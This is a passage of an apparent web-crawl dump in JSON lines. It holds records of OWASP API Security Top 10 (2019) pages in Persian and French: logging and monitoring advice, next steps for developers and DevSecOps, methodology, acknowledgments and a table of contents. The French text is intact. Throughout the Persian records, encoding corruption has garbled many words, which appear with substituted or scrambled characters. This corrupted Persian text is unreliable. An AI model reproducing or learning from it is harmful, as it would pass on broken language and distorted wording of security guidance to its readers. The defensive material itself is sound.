نخواهد توانست بفهمد عوامل مخرب به چه داده‌ای دسترسی پیدا کرده‌اند.\n\n### سناریو #2\n\nیک پلتفرم اشتعاڊ گذاری ویدئو با یک حمله دع؏ هویت ŘŻŘą مقیاسی بزعگ مواجه می‌شود. علیرغم آنکه تلاش‌‌های ناموفق وعود ؍بت می‌شوند، اما هیچگونه هشداری ŘŻŘą طول زمان حمله اعلام نشده است؛ بلکه تنها ŘŻŘą واکنش به شکایت‌‌های کاربران، Logهای API تحلیل و حمله ڊشف شده است. ŘŻŘą نتیجه سازمان مجبور به ؾدوع اعلامیه‌ای رسمی شده و از تمامی کاربران می‌خواهد که گذرواژه‌‌های ؎ود عا تغییر دهند. همچنین سازمان بایستی به مراجع نظارتی دع؎ؾوؾ این حادثه گزاعش داده و پاسخگوی آنها باشد.\n\n## چگونه از ‌آسیب‌پذیری پایش و نظارت ناکافی پیشگیری کنیم؟\n\n- تمامی تلاش‌‌های ناموفق احعاز هویت، دسترسی‌‌های غیرمجاز و خطاهای اعتبارستجی ورودی بایستی ؍بت شوند.\n- Logها باید به گونه ای تهیه شوند که توسء راهکارهای مدیریت Log قابل استفاده بوده و همچنین جزئیات کافی جهت شناسایی عامل مخرب عا ŘŻŘą ؎ود داشته باشند.\n- با Logها بایستی به عنوان داده حساس عفتاع شده و جامعیت آنها هم ŘŻŘą زمان ذخیره سازی و هم ŘŻŘą زمان انتقال تضمین شود.\n- یک سیستم پایش پیکربندی و راه اندازی شود تا بتوان بءوع مداوم و پیوسته عملکرد زیرساخت، شبکه و API عا پایش نمود.\n- از یک سیستم مدیریت رویدادها و اطلاعات امنیتی (SIEM) برای تجمیع و مدیریت Logهای دریافتی از تمامی مولفه‌‌های پشته API و میزبان‌‌های آن استفاده شود.\n- از Dashboardها و هشدارها یا اعلان‌‌های سفارشی‌سازی شده به منظور تشخیص و ٞاس؎ سریع به فعالیت‌‌های مشکوک استفاده شود.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging](https://owasp.org/www-project-proactive-controls/)\n- [OWASP Application Security Verification Standard: V7: Error Handling and Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### خارجی\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 5128, "slov": 599, "odkazu": 75, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:19", "sha256": "9d2403aaaf39d750279965d322d39e5c4c8917a952e40239d568a1554bd3c8d8", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xb0-next-devs/", "titulek": "گام بعدی برای توسعه‌دهندگان - OWASP API Security Top 10", "h1": "گام بعدی برای توسعه‌دهندگان", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xb0-next-devs/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "گام بعدی برای توسعه‌دهندگان"}], "markdown": "# گام بعدی برای توسعه‌دهندگان\n\nوظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا تعمیر نرم افزارهای موجود می‌تواند دشواع باشد و APIها نیز از قضیه مستثنی نیستند.\n\nبع این باوریم که آموزش و آگاه سازی، گامی کلیدی ŘŻŘą راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر ŘŻŘą راستای نیل به هدف فوق به **ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی داعد.**\n\nOWASP منابع آزاد و رایگان متعددی برای ٞاس؎ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌‌های دردسترس، [صفحه پروژه‌‌های OWASP](https://www.owasp.org/index.php/Category:OWASP_Project) عا ملاحظه نمایید.\n\n| | |\n| --- | --- |\n| **آموزش** | برای شعوؚ می‌توان از [پروژه مطالب آموزشی OWASP](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) بسته به علاقه و نوع حرفه آغاز نمود. برای آموزش عملیاتی، crAPI عا نیز به [نقشه راه](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map) ؎ود افزوده‌ایم. تست‌‌های مربوط به WebAppSec عا می‌توان با [OWASP DevSlop Pixi Module](https://devslop.co/Home/Pixi) که یک WebApp و سرویس API آزمایشگاهی آسیب‌پذیر است، انجام داد. استفاده از چنین ابزارهایی سبب یادگیری نحوه تست وب اپلیکیشن‌‌ها و APIهای مدرن از منظر مسائل امنیتی و چگونگی توسعه APIهای مدرن ŘŻŘą آینده خواهد Ř´ŘŻ. همچنین امکان Ř´ŘąÚŠŘŞ ŘŻŘą جلسات آموزشی [کنفرانس AppSec](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) و عضویت ŘŻŘą [شَعب محلی OWASP](https://www.owasp.org/index.php/OWASP_Chapter) نیز برای علاقه مندان و؏ود داعد. |\n| **الزامات امنیتی** | امنیت باید بعنوان بخشی تفکیک ناپذیر ŘŻŘą تمامی پروژه‌‌ها از ابتدا درنظر گرفته شود. ŘŻŘą هنگام است؎عا؏ الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از [استاندارد امنیت سنجی اپلیکیشن (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) عا بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. ŘŻŘą ؾوعت برون سپاری نیز، استفاده از [ضمیمه قرارداد نرم افزاع ایمن OWASP](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex) (که بایستی با قوانین و رگولاتوری‌‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد. |\n| **معماری امنیتی** | امنیت بایستی ŘŻŘą تمامی مراحل توسعه پروژه‌‌ها اهمیت داشته باشد. [برگه‌‌های راهنمای پیشگیری OWASP](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) نقطه شعوؚ مناسبی برای چگونگی طراحی ایمن ŘŻŘą خلال فاز طراحی معماری به شمار آید. [همچنین برگه راهنمای امنیت REST](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) و [برگه راهنمای ارزیابی REST](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md) نیز گزینه‌‌های مناسبی ŘŻŘą این عاستا هستند. |\n| **کنترل‌‌های امنیتی استاندارد** | بکارگیری و انطباق با کنترل‌‌های امنیتی استاندارد ریسک ایجاد ضعف‌‌های امنیتی ŘŻŘą خلال ایجاد برنامه‌‌ها با منطق سازمانی عا کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توڊاع و موثر امنیتی توزیع می‌شوند، اما [کنترل‌‌های پیشگیرانه و فعال OWASP](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) دید خوبی از کنترل‌‌هایی که باید ŘŻŘą پروژه‌‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله ŘŻŘą حوزه کنترل‌‌های اعتبارسنجی ŘŻŘą اختیار عموم قرار می‌دهد که می‌توانند مفید باشند. |\n| **چرخه حیات توسعه نرم افزاع ایمن** | به منظور بهبود فرایندها ŘŻŘą هنگام ایجاد و سا؎ت APIها می‌توان از [مدل ضمانت کمال نرم افزاع OWASP (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) بهره بعد. همچنین پروژه‌‌های متعدد دیگری نیز ŘŻŘą OWASP و؏ود دارند که می‌توانند ŘŻŘą فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، [پروژه بازبینی ÚŠŘŻ OWASP](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project) عا نام بعد. |", "znaku_textu": 5714, "slov": 573, "odkazu": 75, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:57", "sha256": "a0f6b9b813da49f09cb669c855a332dcfa27a86d3a6c491941913336f1be6701", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xb1-next-devsecops/", "titulek": "گام بعدی برای DevSecOps - OWASP API Security Top 10", "h1": "گام بعدی برای DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xb1-next-devsecops/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "گام بعدی برای DevSecOps"}], "markdown": "# گام بعدی برای DevSecOps\n\nبا توجه به اهمیت APIها ŘŻŘą معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت عا نمی‌توان نادیده گعفت و باید آن عا جزئی از کل چرخه توسعه اپلیکیشن ŘŻŘą نظر گعفت. انجام اسکن و تست‌ نفود، آن هم به ؾوعت سالیانه به هیچ عنوان کافی نمی‌باشد.\n\nباید به فرایند توسعه DevSecOps افزوده شده و ŘŻŘą تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم عا تسهیل کند. هدف آنها بهره‌گیری از خودکارسازی‌ فرایندهای امنیتی ŘŻŘą جهت بهبود فرایند تولید نرم افزاع بوده به شکلی که تاثیری بع سعؚت توسعه نداشته باشد. اگع Ř´ÚŠ دارید، [مانیفست DevSecOps](https://www.devsecops.org/) عا بررسی کنید تا ŘŻŘą جریان باشید.\n\n| | |\n| --- | --- |\n| ŘŻŘąÚŠ مدل تهدیدات | اولویت‌ تست‌ها از مدل تهدیدات بدست می‌آید. اگع شما مدل تهدیدات ندارید می‌توانید از [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) و [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باؚ؍ شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند. |\n| ŘŻŘąÚŠ چرخه توسعه نرم افزاع | تیم توسعه عا به فرایند اضافه کنید تا آنها نیز ŘŻŘąÚŠ بهتری از چرحه توسعه نرم افزاع پیدا کنند. مشارکت شما ŘŻŘą انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایند‌ها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اؾءڊاڊ و مقاومتی و؏ود نداشته باشد. |\n| راهبرد انجام تست | با توجه به اینکه ڊاع شما نباید تاثیری بع سعؚت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین)‌ عا برای تایید الزامات امنیتی انتخاب کنید. [OWASP Security Knowledge Framework](https://owasp.org/www-project-security-knowledge-framework/) و [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع ؎وب دیگری از [پروژه‌ها](http://devsecops.github.io/) و [ابزارها](https://github.com/devsecops/awesome-devsecops) مشابه با مواردی که توسء [DevSecOps community](https://www.devsecops.org/) پیشنهاد می‌شود، و؏ود داعد. |\n| دستیابی به جامعیت و دقت | شما پلی هستید بین تیم‌ توسعه دهنده و ‌‌‌پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بع روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به ؾوعت نزدیک با هر دو تیم توسعه و ‌‌‌پیاده‌سازی ڊاع کنید تا بتوانید زمان و تلاش‌تان عا بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به ؾوعت مداوم بررسی شوند، هدف گذاری کنید. |\n| به و؜وح یافته‌‌‌ها عا به اشتعاڊ بگذارید | با کمترین اؾءڊاڊ یا بدون اؾءڊاڊ مشارکت داشته باشید. یافته‌‌ها عا ŘŻŘą بازه زمانی مشخص و ŘŻŘą قالب ابزارهای مورد استفاده توسء تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها عا به آن‌ها نشان دهید. از این فعؾت برای آموزش آنها استفاده کنید، به ؾوعت شفاف ŘŻŘą مورد نقطه ؜ؚف و روش‌های سوإ استفاده از آن (که شامل سناریو‌های حملات می‌باشند) توضیح دهید تا واقعی به نظر بعسد. |", "znaku_textu": 4707, "slov": 529, "odkazu": 67, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:06", "sha256": "6122ae74c07be3e85116122a53ee4d694e84b0085b5f31d7d1dd044b405af037", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xd0-about-data/", "titulek": "متدلوژی و داده - OWASP API Security Top 10", "h1": "متدلوژی و داده", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xd0-about-data/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "متدلوژی و داده"}, {"uroven": 2, "text": "بررسی اجمالی"}, {"uroven": 2, "text": "متدلوژی"}], "markdown": "# متدلوژی و داده\n\n## بررسی اجمالی\n\nاز آنجا که صنعت AppSec مشخصا بع امنیت اپلیکیشن‌‌های معماری نوین که ŘŻŘą آنها API نقشی حیاتی دارد، تمرکز ننموده، ایجاد لیستی از ده ریسک امنیتی بحرانی امنیت API بع مبنای فراخوان عمومی کاری س؎ت خواهد بود. علیرغم اینکه فراخوانی برای داده‌‌های عمومی داده نشده، اما لیست فعلی بع مبنای داده‌های ŘŻŘą دستعس عموم، مشارکت کارشناسان امنیتی و نظرات متخصصان حوزه امنیت، تهیه گردیده است.\n\n## متدلوژی\n\nŘŻŘą فاز اول، داده‌‌های ŘŻŘą دستعس عموم ŘŻŘą حوزه رخداده‌‌های مرتبط با امنیت API توسء گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند. این داده‌‌ها از پلتفرم‌‌های شڊاع باگ و پایگاه‌‌های داده آسیب‌پذیری ŘŻŘą یک چارچوب زمانی یک ساله به منظور تحلیل آماری جمع آوری شده اند.\n\nŘŻŘą فاز بعد، از متخصصین امنیت با سویه عملیاتی و تجربه تست نفوذ خواسته Ř´ŘŻ تا آنان نیز لیست ده ریسک امنیتی بحرانی API از منظر ؎ود عا با گروه به اشتعاڊ گذارند.\n\nبه منظور انجام فرایند تحلیل ریسک از [متدلوژی رتبه بندی ریسک OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) استفاده و نتایج آن نیز توسء متخصصین امنیتی بازبینی قرار گعفت. برای مطالعه بیشتر ŘŻŘą این حوزه به ب؎ش [ریسک‌‌های امنیتی API](../0x10-api-security-risks/) مراجعه نمایید.\n\nپیش نویس اولیه ده ریسک امنیتی بحرانی APIها ŘŻŘą 2019 از منظر OWASP از اجماع بین نتایج آماری فاز اول و لیست مدنظر متخصصین بدست آمده است و سٞس به منظور بازبینی مجدد ŘŻŘą اختیار گروه دیگری از متخصصین (با تجربه مرتبط ŘŻŘą حوزه امنیت API) قرار گرفته است.\n\nمستند ده ریسک امنیتی بحرانی APIها ŘŻŘą 2019 از منظر OWASP اولین باع ŘŻŘą رویداد جهانیOWASP AppSec ŘŻŘą تل‌آویو (می 2019) ارائه شده و ٞس از آن برای بح؍ و مشارکت عموم ŘŻŘą GitHub قرار گعفت.\n\nلیست مشارکت کنندگان ŘŻŘą ب؎ش [سپاسگزاری‌‌ها](../0xd1-acknowledgments/) قابل مشاهده است.", "znaku_textu": 2806, "slov": 356, "odkazu": 64, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:15", "sha256": "bcf3c4de895315f49f8f29b54c56d7104e4fa35b8fa8e0ef406ee60a8991ef63", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xd1-acknowledgments/", "titulek": "سپاسگزاری‌ها - OWASP API Security Top 10", "h1": "سپاسگزاری‌ها", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xd1-acknowledgments/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "سپاسگزاری‌ها"}, {"uroven": 2, "text": "سپاسگزاری از مشارکت کنندگان"}], "markdown": "# سپاسگزاری‌ها\n\n## سپاسگزاری از مشارکت کنندگان\n\nبدینوسیله از تمامی مشارکت کنندگانی که به ءوع عمومی ŘŻŘą GitHub و به سایر طرق ŘŻŘą توسعه این مستند نقش داشته‌اند ŘŞŘ´ÚŠŘą می‌نماییŮ\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- Mr-Listener\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- RNPG\n- Sagar Popat\n- Stephen Gates\n- This-is-neo\n- thomaskonrad\n- xycloops123", "znaku_textu": 739, "slov": 85, "odkazu": 63, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:25", "sha256": "189baa7655870e2d8416db8ca8e5d71efe4f1cd19fb2cb6700d9aa95a339ecc2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 1157170, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:30", "sha256": "7ee1581da40ccdd0a467740f534a8ce87af9c236d65724bd5292981758434fcb", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x00-header/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nUne traduction en français du projet original \"The Ten Most Critical API Security Risks\"\n\n8 septembre 2020\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | Ce travail est sous licence [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 305, "slov": 37, "odkazu": 63, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:58", "sha256": "92078d2db9781bfe657351bf56db5da70a38170b7c7203bba623b6324474004f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x00-notice/", "titulek": "Note - OWASP API Security Top 10", "h1": "Note", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x00-notice/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Note"}], "markdown": "# Note\n\nCeci est la version texte de l'OWASP API Security Top 10, utilisé comme source\npour la version officielle distribuée en Portable Document Format (PDF).\n\nLes contributions au projet telles que les commentaires, les corrections ou les\ntraductions doivent être effectuées ici. Pour plus de détails sur\n[comment contribuer](../../../../CONTRIBUTING/), veuillez vous référer au document [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 457, "slov": 59, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:21", "sha256": "76c2f6b607c7787a7e6af93d2248ff55ae2db7b34d7388b355943cb83153cacd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x00-toc/", "titulek": "Table des Matières - OWASP API Security Top 10", "h1": "Table des Matières", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x00-toc/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Table des Matières"}], "markdown": "# Table des Matières\n\n- [Table des Matières](./)\n- [À propos d'OWASP](../0x01-about-owasp/)\n- [Avant-propos](../0x02-foreword/)\n- [Introduction](../0x03-introduction/)\n- [Notes de versions](../0x04-release-notes/)\n- [Risques de sécurité des API](../0x10-api-security-risks/)\n- [OWASP Top 10 Risques de sécurité des API – 2019](../0x11-t10/)\n- [API1:2019 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Broken User Authentication](../0xa2-broken-user-authentication/)\n- [API3:2019 Excessive Data Exposure](../0xa3-excessive-data-exposure/)\n- [API4:2019 Lack of Resources & Rate Limiting](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Mass Assignment](../0xa6-mass-assignment/)\n- [API7:2019 Security Misconfiguration](../0xa7-security-misconfiguration/)\n- [API8:2019 Injection](../0xa8-injection/)\n- [API9:2019 Improper Assets Management](../0xa9-improper-assets-management/)\n- [API10:2019 Insufficient Logging & Monitoring](../0xaa-insufficient-logging-monitoring/)\n- [Perspectives pour les Développeurs](../0xb0-next-devs/)\n- [Perspectives pour les DevSecOps](../0xb1-next-devsecops/)\n- [Méthodologie et Données](../0xd0-about-data/)\n- [Remerciements](../0xd1-acknowledgments/)", "znaku_textu": 1306, "slov": 132, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:30", "sha256": "4744cd6db2ec1afd3404d22d3ecb37a27aa1c3cf774f517f2562741a6c0c2196", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x01-about-owasp/", "titulek": "À propos d'OWASP - OWASP API Security Top 10", "h1": "À propos d'OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x01-about-owasp/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "À propos d'OWASP"}, {"uroven": 2, "text": "Copyright et licence"}], "markdown": "# À propos d'OWASP\n\nL'Open Web Application Security Project (OWASP) est une communauté ouverte\ndédiée à permettre aux organisations de développer, d'acheter et de maintenir\ndes applications et des API auxquelles on peut faire confiance.\n\nChez OWASP, vous trouverez en gratuit et libre :\n\n- Outils et standards pour la sécurité des applications.\n- Livres complets sur les tests de sécurité des applications, le développement\n sécurisé de code, et la revue sécurisée de code.\n- Présentations et [vidéos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Cheat sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) sur de nombreux sujets.\n- Contrôles et bibliothèques de sécurité standards.\n- [Communautés locales partout dans le monde](https://www.owasp.org/index.php/OWASP_Chapter) .\n- Recherche de pointe.\n- Nombreuses [conférences partout dans le monde](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Listes de diffusion](https://lists.owasp.org/mailman/listinfo) .\n\nPlus d'information sur : [https://www.owasp.org](https://www.owasp.org).\n\nTous les outils, documents, vidéos, présentations et chapitres sont libres et\nouverts à quiconque s'intéressant à l'amélioration de la sécurité des\napplications.\n\nNous préconisons d'approcher la sécurité applicative comme un problème de\npersonnes, de procédés et de technologie, parce que les approches les plus\nefficaces de sécurité des applications requièrent des améliorations dans ces\ndirections.\n\nOWASP est une nouvelle sorte d'organisation. Notre liberté face aux pressions\ncommerciales nous permet de fournir des informations impartiales, pratiques\net efficientes à propos de la sécurité applicative.\n\nOWASP n'est affiliée avec aucune entreprise de technologie, bien que soutenions\nl'usage raisonné de technologies de sécurité commerciales. OWASP produit toutes\nsortes d'éléments de manière collaborative, transparente et ouverte.\n\nLa Fondation OWASP est l'entité à but non-lucratif qui garantit le succès à\nlong terme du projet. La quasi-totalité des personnes associée à OWASP est\nbénévole, y compris le conseil d'administration d'OWASP, les responsables des\nchapitres et les membres des projets. Nous soutenons la recherche en sécurité\ninnovante avec des bourses et de l'infrastructure.\n\nRejoignez-nous !\n\n## Copyright et licence\n\nCopyright © 2003-2019 The OWASP Foundation. Ce document est distribué sous\n[licence Creative Commons Attribution Share-Alike 4.0](http://creativecommons.org/licenses/by-sa/4.0/). Toute réutilisation\nou distribution doit clairement mentionner les termes et conditions de licence\nde cette oeuvre.", "znaku_textu": 2585, "slov": 323, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:39", "sha256": "8d4d1020c9668d3cfb255b404b79439109928cbc51b767dd0091f9ef73360bc7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x02-foreword/", "titulek": "Avant-propos - OWASP 